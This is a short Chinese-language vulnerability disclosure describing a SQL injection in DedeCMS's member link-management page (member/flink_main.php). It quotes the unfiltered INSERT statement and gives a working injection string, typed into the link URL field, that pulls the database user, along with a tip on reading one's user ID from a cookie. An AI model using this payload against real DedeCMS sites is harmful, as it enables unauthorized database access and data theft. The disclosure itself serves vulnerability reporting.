Dedecms 会员中心注入漏洞3

漏洞作者: Matt

[php]
member/flink_main.php
if($dopost=="addnew")
{
    AjaxHead();
    $row = $dsql->GetOne("SELECT COUNT(*) AS dd FROM `#@__member_flink` WHERE mid='".$cfg_ml->M_ID."' ");
    if($row['dd']>=50)
    {
        echo "<font color='red'>增加网址失败,因为已经达到五十个网址的上限!</font>";
        GetLinkList($dsql);
        exit();
    }
    if(!preg_match("#^http:\/\/#",$url)) $url = "http://".HtmlReplace($url, 2);//如果前面有http就不过滤了

    $title = HtmlReplace($title);
    $inquery = "INSERT INTO `#@__member_flink`(mid,title,url) VALUES(".$cfg_ml->M_ID.",'$title','$url'); ";//这不就注入了么
	echo $inquery ;
    $dsql->ExecuteNoneQuery($inquery);
    echo "<font color='red'>成功增加一链接!</font>";
    GetLinkList($dsql);
    exit();
[/php]

漏洞证明:

测试方法 打开 http://127.0.0.1/dede/member/flink_main.php# 在连接网址里面写入 http://sss2'),(8,1,@`'`),(8,(select user()),'33333 连接名称随意 这里的8 是我的用户ID 想要查看 必须得知道自己的用户id 这个so easy 查看cookie 里面有一个DedeUserID 我的就是DedeUserID=8 这个一看就知道自己的id是神马了 1416120728eea6ce3f89b3a2d791fc955ac46556   14161217df74444f3e6936ad8bb9900f4c4a3a68

发表评论